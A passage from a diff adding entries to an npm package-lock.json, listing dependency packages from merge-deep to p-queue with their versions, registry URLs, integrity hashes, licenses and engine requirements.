"sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==", + "license": "MIT", + "optional": true + }, + "node_modules/merge-deep": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/merge-deep/-/merge-deep-3.0.3.tgz", + "integrity": "sha512-qtmzAS6t6grwEkNrunqTBdn0qKwFgNWvlxUbAV8es9M7Ot1EbyApytCnvE0jALPa46ZpKDUo527kKiaWplmlFA==", + "license": "MIT", + "optional": true, + "dependencies": { + "arr-union": "^3.1.0", + "clone-deep": "^0.2.4", + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/merge-descriptors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz", + "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mime-db": { + "version": "1.54.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", + "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", + "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", + "license": "MIT", + "dependencies": { + "mime-db": "^1.54.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/mimic-function": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz", + "integrity": "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "10.2.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.6.tgz", + "integrity": "sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==", + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.8" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/mixin-object": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz", + "integrity": "sha512-ALGF1Jt9ouehcaXaHhn6t1yGWRqGaHkPFndtFVHfZXOvkIZ/yoGaSi0AHVTafb3ZBGg4dr/bDwnaEKqCXzchMA==", + "license": "MIT", + "optional": true, + "dependencies": { + "for-in": "^0.1.3", + "is-extendable": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mixin-object/node_modules/for-in": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz", + "integrity": "sha512-F0to7vbBSHP8E3l6dCjxNOLuSFAACIxFy3UehTUlG7svlXi37HHsDkyVcHo0Pq8QwrE+pXvWSVX3ZT1T9wAZ9g==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mongodb-connection-string-url": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/mongodb-connection-string-url/-/mongodb-connection-string-url-7.0.2.tgz", + "integrity": "sha512-ZoS07RoFqpKYQwAk59qmrx8+jJHNHU30UjlU96QktiGn1ltvDr+vCznLX5DiUBLEpMAHatHNWV1nM/74ul66kA==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@types/whatwg-url": "^13.0.0", + "whatwg-url": "^14.1.0" + }, + "engines": { + "node": ">=20.19.0" + } + }, + "node_modules/mongoose": { + "version": "9.10.2", + "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-9.10.2.tgz", + "integrity": "sha512-oFcFL3dsX5tDzMwBD+GGoDqKIj6RNG3bu3oqlvcUIgPulHP14/6N7c07j3s0XgbrlT7U/lbiXOD89hmPtEXnfQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@standard-schema/spec": "^1.1.0", + "kareem": "3.4.0", + "mongodb": "~7.6", + "mpath": "0.9.0", + "mquery": "6.0.0", + "ms": "2.1.3", + "sift": "17.1.3" + }, + "engines": { + "node": ">=20.19.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mongoose" + } + }, + "node_modules/mongoose/node_modules/mongodb": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-7.6.0.tgz", + "integrity": "sha512-WbZ6OCjYw2c53LOjfkQa+reXr7kIiOVpXXglnASFuiMtif0BvsMwHe3ClJHLm1/r7wJFwaasfFtD6iYIktB01g==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@mongodb-js/saslprep": "^1.4.11", + "bson": "^7.2.0", + "mongodb-connection-string-url": "^7.0.1" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "@aws-sdk/credential-providers": "^3.806.0", + "@mongodb-js/zstd": "^7.0.0", + "gcp-metadata": "^7.0.1", + "kerberos": "^7.0.0", + "mongodb-client-encryption": "^7.2.0", + "snappy": "^7.3.2", + "socks": "^2.8.6" + }, + "peerDependenciesMeta": { + "@aws-sdk/credential-providers": { + "optional": true + }, + "@mongodb-js/zstd": { + "optional": true + }, + "gcp-metadata": { + "optional": true + }, + "kerberos": { + "optional": true + }, + "mongodb-client-encryption": { + "optional": true + }, + "snappy": { + "optional": true + }, + "socks": { + "optional": true + } + } + }, + "node_modules/mpath": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/mpath/-/mpath-0.9.0.tgz", + "integrity": "sha512-ikJRQTk8hw5DEoFVxHG1Gn9T/xcjtdnOKIU1JTmGjZZlg9LST2mBLmcX3/ICIbgJydT2GOc15RnNy5mHmzfSew==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/mquery": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/mquery/-/mquery-6.0.0.tgz", + "integrity": "sha512-b2KQNsmgtkscfeDgkYMcWGn9vZI9YoXh802VDEwE6qc50zxBFQ0Oo8ROkawbPAsXCY1/Z1yp0MagqsZStPWJjw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=20.19.0" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/mustache": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/mustache/-/mustache-4.2.0.tgz", + "integrity": "sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ==", + "license": "MIT", + "optional": true, + "bin": { + "mustache": "bin/mustache" + } + }, + "node_modules/mute-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-3.0.0.tgz", + "integrity": "sha512-dkEJPVvun4FryqBmZ5KhDo0K9iDXAwn08tMLDinNdRBNPcYEDiWYysLcc6k3mjTMlbP9KyylvRpd4wFtwrT9rw==", + "license": "ISC", + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/natural": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/natural/-/natural-8.1.1.tgz", + "integrity": "sha512-Ucb+lsUcGxUqu3rn8cwHjT6gJQosO63nIX/aBQXB3+IDkNbFV7PuviysO+Rzz3aKn7PZhPj3bNF4PS9gDVjYCQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "afinn-165": "^2.0.2", + "afinn-165-financialmarketnews": "^3.0.0", + "apparatus": "^0.0.10", + "dotenv": "^17.3.1", + "memjs": "^1.3.2", + "mongoose": "^9.2.1", + "pg": "^8.18.0", + "redis": "^5.11.0", + "safe-stable-stringify": "^2.5.0", + "stopwords-iso": "^1.1.0", + "sylvester": "^0.0.21", + "underscore": "^1.13.0", + "uuid": "^13.0.0", + "wordnet-db": "^3.1.14" + }, + "engines": { + "node": ">=0.4.10" + } + }, + "node_modules/negotiator": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", + "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/netmask": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/netmask/-/netmask-2.1.1.tgz", + "integrity": "sha512-eonl3sLUha+S1GzTPxychyhnUzKyeQkZ7jLjKrBagJgPla13F+uQ71HgpFefyHgqrjEbCPkDArxYsjY8/+gLKA==", + "license": "MIT", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", + "deprecated": "Use your platform's native DOMException instead", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/jimmywarting" + }, + { + "type": "github", + "url": "https://paypal.me/jimmywarting" + } + ], + "license": "MIT", + "engines": { + "node": ">=10.5.0" + } + }, + "node_modules/node-fetch": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", + "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", + "license": "MIT", + "dependencies": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/node-fetch" + } + }, + "node_modules/node-forge": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.4.0.tgz", + "integrity": "sha512-LarFH0+6VfriEhqMMcLX2F7SwSXeWwnEAJEsYm5QKWchiVYVvJyV9v7UDvUv+w5HO23ZpQTXDv/GxdDdMyOuoQ==", + "license": "(BSD-3-Clause OR GPL-2.0)", + "optional": true, + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-int64": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", + "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==", + "license": "MIT", + "optional": true + }, + "node_modules/node-rsa": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/node-rsa/-/node-rsa-1.1.1.tgz", + "integrity": "sha512-Jd4cvbJMryN21r5HgxQOpMEqv+ooke/korixNNK3mGqfGJmy0M77WDDzo/05969+OkMy3XW1UuZsSmW9KQm7Fw==", + "license": "MIT", + "optional": true, + "dependencies": { + "asn1": "^0.2.4" + } + }, + "node_modules/node-sql-parser": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/node-sql-parser/-/node-sql-parser-5.4.0.tgz", + "integrity": "sha512-jVe6Z61gPcPjCElPZ6j8llB3wnqGcuQzefim1ERsqIakxnEy5JlzV7XKdO1KmacRG5TKwPc4vJTgSRQ0LfkbFw==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@types/pegjs": "^0.10.0", + "big-integer": "^1.6.48" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm-run-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-6.0.0.tgz", + "integrity": "sha512-9qny7Z9DsQU8Ou39ERsPU4OZQlSTP47ShQzuKZ6PRXpYLtIFgl/DEBYEXKlvcEa+9tHVcK8CF81Y2V72qaZhWA==", + "license": "MIT", + "dependencies": { + "path-key": "^4.0.0", + "unicorn-magic": "^0.3.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz", + "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/nunjucks": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/nunjucks/-/nunjucks-3.2.4.tgz", + "integrity": "sha512-26XRV6BhkgK0VOxfbU5cQI+ICFUtMLixv1noZn1tGU38kQH5A5nmmbk/O45xdyBhD1esk47nKrY0mvQpZIhRjQ==", + "license": "BSD-2-Clause", + "dependencies": { + "a-sync-waterfall": "^1.0.0", + "asap": "^2.0.3", + "commander": "^5.1.0" + }, + "bin": { + "nunjucks-precompile": "bin/precompile" + }, + "engines": { + "node": ">= 6.9.0" + }, + "peerDependencies": { + "chokidar": "^3.3.0" + }, + "peerDependenciesMeta": { + "chokidar": { + "optional": true + } + } + }, + "node_modules/nunjucks/node_modules/commander": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.1.0.tgz", + "integrity": "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/one-time": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/one-time/-/one-time-1.0.0.tgz", + "integrity": "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g==", + "license": "MIT", + "dependencies": { + "fn.name": "1.x.x" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "license": "MIT", + "optional": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/onnxruntime-common": { + "version": "1.30.0", + "resolved": "https://registry.npmjs.org/onnxruntime-common/-/onnxruntime-common-1.30.0.tgz", + "integrity": "sha512-7fdVWjAID1dVhH/G8qK3APARunV4VkBFoCQAP7qp4Wkab0mrorvmc+sqiT+mKXOzDqdjN5j+/Z9nb4gzNPWcyA==", + "license": "MIT", + "optional": true + }, + "node_modules/onnxruntime-node": { + "version": "1.30.0", + "resolved": "https://registry.npmjs.org/onnxruntime-node/-/onnxruntime-node-1.30.0.tgz", + "integrity": "sha512-twhs1C2C/BFkz1yc5OY0KIU2GUq6DURO7hD4bx5Q2Qy3nAMJwRXW8xU3NVczE29VA9lolLOYepoD8fjTGOfIqw==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "win32", + "darwin", + "linux" + ], + "dependencies": { + "adm-zip": "^0.6.0", + "global-agent": "^4.1.3", + "onnxruntime-common": "1.30.0" + } + }, + "node_modules/onnxruntime-web": { + "version": "1.31.0-dev.20260914-8d85527a0", + "resolved": "https://registry.npmjs.org/onnxruntime-web/-/onnxruntime-web-1.31.0-dev.20260914-8d85527a0.tgz", + "integrity": "sha512-Iy7rtadoBgxS/LLvDr3QW38DB1PNXRnr0GJMcL0TAt7c9qjgVQl83UlGCVyeAnK2InpmW8Uc3PL8XIuqtDeF6g==", + "license": "MIT", + "optional": true, + "dependencies": { + "flatbuffers": "^25.1.24", + "guid-typescript": "^1.0.9", + "long": "^5.2.3", + "onnxruntime-common": "1.31.0-dev.20260911-2a43ec07e", + "platform": "^1.3.6", + "protobufjs": "^7.2.4" + } + }, + "node_modules/onnxruntime-web/node_modules/onnxruntime-common": { + "version": "1.31.0-dev.20260911-2a43ec07e", + "resolved": "https://registry.npmjs.org/onnxruntime-common/-/onnxruntime-common-1.31.0-dev.20260911-2a43ec07e.tgz", + "integrity": "sha512-gBuF6U32YErKIAt+yD7DeGBpjRxhJ1uJwako6ygjokSZULDU6Pd+KWComX8Tumk1hYVHRxjPj7mdMnD0ryAPOw==", + "license": "MIT", + "optional": true + }, + "node_modules/onnxruntime-web/node_modules/protobufjs": { + "version": "7.6.6", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.6.6.tgz", + "integrity": "sha512-dYDWdjSl5RNb7SgPxGQcRU+GtvP7s2fpkrY0r432PcOIaZ0/rBcxEZnQN67iJhFuQiVw754JDoPruPCNdGsbjg==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.5", + "@protobufjs/eventemitter": "^1.1.1", + "@protobufjs/fetch": "^1.1.1", + "@protobufjs/float": "^1.0.2", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.1", + "@types/node": ">=13.7.0", + "long": "^5.3.2" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/open": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/open/-/open-10.2.0.tgz", + "integrity": "sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==", + "license": "MIT", + "optional": true, + "dependencies": { + "default-browser": "^5.2.1", + "define-lazy-prop": "^3.0.0", + "is-inside-container": "^1.0.0", + "wsl-utils": "^0.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/openai": { + "version": "7.23.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-7.23.0.tgz", + "integrity": "sha512-0ecOXnFSMNWZq6cUBcTV6Lf93y+fm8BH/+QzFvpoP1UGNOE5pnytRa6HAPGCw+3IS9SIAW7rc1M8yyzN1PiBAQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=22.0.0" + }, + "peerDependencies": { + "@aws-sdk/credential-provider-node": ">=3.972.0 <4", + "@smithy/hash-node": ">=4.3.0 <5", + "@smithy/signature-v4": ">=5.4.0 <6", + "undici": ">=5 <9", + "ws": "^8.21.0", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "@aws-sdk/credential-provider-node": { + "optional": true + }, + "@smithy/hash-node": { + "optional": true + }, + "@smithy/signature-v4": { + "optional": true + }, + "undici": { + "optional": true + }, + "ws": { + "optional": true + }, + "zod": { + "optional": true + } + } + }, + "node_modules/opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==", + "license": "(WTFPL OR MIT)", + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/ora": { + "version": "9.4.1", + "resolved": "https://registry.npmjs.org/ora/-/ora-9.4.1.tgz", + "integrity": "sha512-6VlU9MLXbjVQD04AZCMX28hVtA5bUoadvUqO76MUCVA0ilwJbMiHsITRPfyVm6p/BC0Av/BXMujx39WCe1LEqw==", + "license": "MIT", + "dependencies": { + "chalk": "^5.6.2", + "cli-cursor": "^5.0.0", + "cli-spinners": "^3.2.0", + "is-interactive": "^2.0.0", + "is-unicode-supported": "^2.1.0", + "log-symbols": "^7.0.1", + "stdin-discarder": "^0.3.2", + "string-width": "^8.1.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/ansi-regex": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", + "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "license": "MIT", + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/ora/node_modules/cli-cursor": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-5.0.0.tgz", + "integrity": "sha512-aCj4O5wKyszjMmDT4tZj93kxyydN/K5zPWSCe6/0AV/AA1pqe5ZBIw0a2ZfPQV7lL5/yb5HsUreJ6UFAF1tEQw==", + "license": "MIT", + "dependencies": { + "restore-cursor": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/onetime": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", + "integrity": "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==", + "license": "MIT", + "dependencies": { + "mimic-function": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/restore-cursor": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-5.1.0.tgz", + "integrity": "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==", + "license": "MIT", + "dependencies": { + "onetime": "^7.0.0", + "signal-exit": "^4.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/string-width": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.3.0.tgz", + "integrity": "sha512-ZbmZM0JCihQN91dWnxoipT2KOEyHqEyfRXUyjuRhW8b/xnqPDoq4gWEVApTVa9db2wN8mmoikgFBbjh71+cGeQ==", + "license": "MIT", + "dependencies": { + "get-east-asian-width": "^1.5.0", + "strip-ansi": "^7.1.2" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/os-tmpdir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", + "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/p-queue": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/p-queue/-/p-queue-6.6.2.tgz", + "integrity": "sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "eventemitter3": "^4.0.4", + "p-timeout": "^3.2.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-queue/node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": 